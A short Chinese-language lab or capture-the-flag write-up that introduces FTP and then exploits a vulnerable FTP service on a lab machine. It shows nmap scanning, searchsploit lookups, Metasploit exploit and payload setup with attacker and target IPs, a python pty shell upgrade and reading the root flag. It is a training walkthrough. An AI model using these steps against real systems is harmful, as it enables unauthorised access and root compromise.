FTP介绍
FTP是File Transfer Protocol(文件传输协议)的英文简称,而中文简称为“文传协议”。用于Internet上的控制文件的双向传输。同时,它也是一个应用程序(Application)。基于不同的操作系统有不同的FTP应用程序,而所有这些应用程序都遵守同一种协议以传输文件。
在FTP的使用当中,用户经常遇到两个概念:"下载”(Download)和上传(Upload)。
"下载"文件就是从远程主机拷贝文件至自己的计算机上,
"上传"文件就是将文件从自己的计算机中拷贝至远程主机上。
用Internet语言来说,用户可通过客户机程序向(从)远程主机上传(下载)文件。
实验环境
攻击机:192.168.1.105
靶场机器:192.168.1.100
目的:获取靶场机器上的flag值;
信息探测
扫描主机服务信息以及服务版本
–nmap -sV 靶场IP地址
快速扫描主机全部信息
– nmap -T4 -A -v 靶场IP地址
发现开放了21端口,ftp服务
使用seachsploit 版本号
,查看漏洞信息,找到可利用的溢出代码;
看到有2个文件,首先查看第一个文件txt
可以在这个文件中去修改源代码,但是比较麻烦
可以看到第二个为metasploit,
使用metasploit进行溢出
打开Metasploit在终端中输入msfconsole
输入search对应的软件及版本号
发现了exploit并使用exploit
– use exploit
查看可以使用的payload
– show payload
设置payload
– set payload
查看需要设置的参数
– show options
需要设置靶场和攻击机的IP
– set rhost 靶场IP
– set lhost 攻击机IP
查看设置成功与否
进行远程溢出,来获取权限
– exploit
执行命令id,来查看现在所获取的权限是否为root
优化shell
使用python pty开启终端
-- python -c "import pty;pty.spawn('/bin/bash')"
获取Flag
一般情况下,靶场机器的flag值是存放在服务器的根目录下,/root/目录。
cd /root/
ls -alh
cat flag
writeup测试文档总结文档
总结
对于开放FTP、sSH、Telnet等服务的系统,公可以尝试一些对应服务版本的漏洞代码;
对于系统,一定要注意利用现成的EXP来root主机;